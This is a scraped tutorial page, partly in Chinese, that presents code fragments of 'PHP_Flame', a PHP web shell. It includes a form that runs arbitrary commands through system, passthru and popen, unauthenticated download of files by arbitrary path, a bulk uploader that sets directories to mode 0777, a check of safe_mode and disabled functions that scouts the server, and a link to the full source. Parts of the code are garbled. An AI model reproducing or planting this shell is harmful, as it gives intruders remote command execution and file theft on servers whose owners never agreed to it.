Original code of PHP_Flame(Version:Progress)_PHP tutorial
Jul 21, 2016 pm 04:09 PM
I
Some information about PHP_Flame (Version: Progress):
*Fixed the BUG of being unable to download files
*Fixed the BUG of being unable to return to the previous level
*Fixed the appearance of code editing Wrong BUG
......
* Add the function of PHPINFO
* Add the function of downloading multiple files
* Add the function of executing system commands
* Add the code view Features
* Added server security detection function
.....
* There are also many beautification works. . . . . .
Related information:
1. Fixed the bug code that cannot return to the previous level:
echo "<a href="$php_self?act=dir&dir=$dir..">Return to the previous level</a>";
2. Corrected the code related to the inability to download files:
case "download":
if (!@is_file($_GET['file_name']))
echo "The file you want to download does not exist";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;
3. Add code viewing function
<a href="<?echo$php_self;?>?actionaa=cmd&method=show_source&cmd=<? echo $_GET['file'];?>" target=_blank> File code</a>
4. Fixed an error in code editing:
$tem= str_replace("/textarea>","//textarea>",$tem);
. . . . .
$tem= str_replace("//textarea>","/textarea>",$tem);
5. Add server security detection function:
if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
echo "* disable_functions:";$dis_func=get_cfg_var( "disable_functions");
if ($dis_func=="")
{
echo("<font color=red><b>no value</b></font>" );
}
else
{
$dis_func=str_replace(" ","<br>",$dis_func);
$dis_func=str_replace(",","< ;br>",$dis_func);
echo("$dis_func");
}
6.执行系统命令部分的代码:
<?
if ($actionaa=="cmd") { ?>
<body bgcolor="#6595d6">
<form name="form1" method="post" action="<?= $PHP_SELF ?>?actionaa=cmd">
<select name="method">
<option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option>
<option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option>
<option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option>
<option value="opendir" <? if ($method=="opendir") { echo "selected"; } ?>>opendir</option>
<option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option>
</select><br>
<input type="text" name="cmd" size="40" value="<?= $cmd; ?>">
<input type="submit" name="Submit" value="<?=$method?>">
<br>
</form>
<?
if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME<br>";
echo "* Author: JSW<br>";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("<font color=red><b>no value</b></font>");
}
else
{
$dis_func=str_replace(" ","<br>",$dis_func);
$dis_func=str_replace(",","<br>",$dis_func);
echo("$dis_func");
}
echo "<br>* Now please choose a function and enter the command......";
}
echo "<br><pre>";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$filen";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "<pre>";
//echo show_source($file);
//echo "</pre>";
} else {
echo "<script> alert("unable to read file: $file using: show_source"); </script>";
}
}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "</pre>";
exit;
}
?>
7。增加文件上载的代码:
<?php
if($dir=="")
$dir="./";
?>
<?
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传<br>";
}
else
echo $source_name."请重新上传!<br>";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传<br>";
}
}
}//end for
echo"
<html>
<head>
<title>JSW'S PHP FLAME</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href=t.css rel=stylesheet type=text/css>
<script language="javascript">
function setid()
{
str='<br>';
if(!window.uploadForm.upcount.value
window.uploadForm.upcount.value>20
window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i<=window.uploadForm.upcount.value;i++)
str+='文件'+i+':<input type="file" name="userfile'+i+'" style="width:400" class="tx1"><br><br>';
window.upid.innerHTML=str+'<br>';
}
</script>
</head>
<body>
<body bgcolor="#6595d6">
<table width="550" border="1" cellspacing="0" cellpadding="5" align="center">
<form name="t" method="get" action="?">
<tr class="t2">
<td><li> 1.指定上传目录(默认为本程序所在目录)
<input type="hidden" name="tools" value="upload">
<input type="text" name="dir">
<input type="submit" value="确定" name="t"></td></li>
</tr>
</form>
<form name="uploadForm" method="post" action="?tools=upload&dir=$dir" enctype="multipart/form-data">
<tr class="t2">
<td>
<li> 2.需要上传的个数(建议最大值 20)
<input type="text" name="upcount" class="tx" value="1">
<input type="button" name="Button" class="bt" onclick="setid();" value="设定">
</li>
<li> 3.全部文件都覆盖上传: <input type="radio" name="up_flag" value="y">是<input type="radio" name="up_flag" value="n" checked>否
</li>
<br>
<br>
您的文件将被上传到: $dir
<input type="hidden" name="filedir" class="tx" value="$dir">
<a href="?">返回PHP_Flame</a>
</td>
</tr>
<tr>
<td id="upid" height="122"> 文件1:
<input type="file" name="userfile1" style="width:400" class="tx1" value="">
</td>
</tr>
<tr>
<td>
<input type="submit" name="upload" value="上传" class="bt">
<input type="reset" name="reset" value="重执" class="bt">
</td>
</tr></form>
</table>
</body>
</html>";
exit;}
?>
。。。。。。
最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码:
http://jsw.china12e.com/jswsoft/show.php

Hot Article

Hot tools Tags

Hot Article

Hot Article Tags

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian

How To Set Up Visual Studio Code (VS Code) for PHP Development
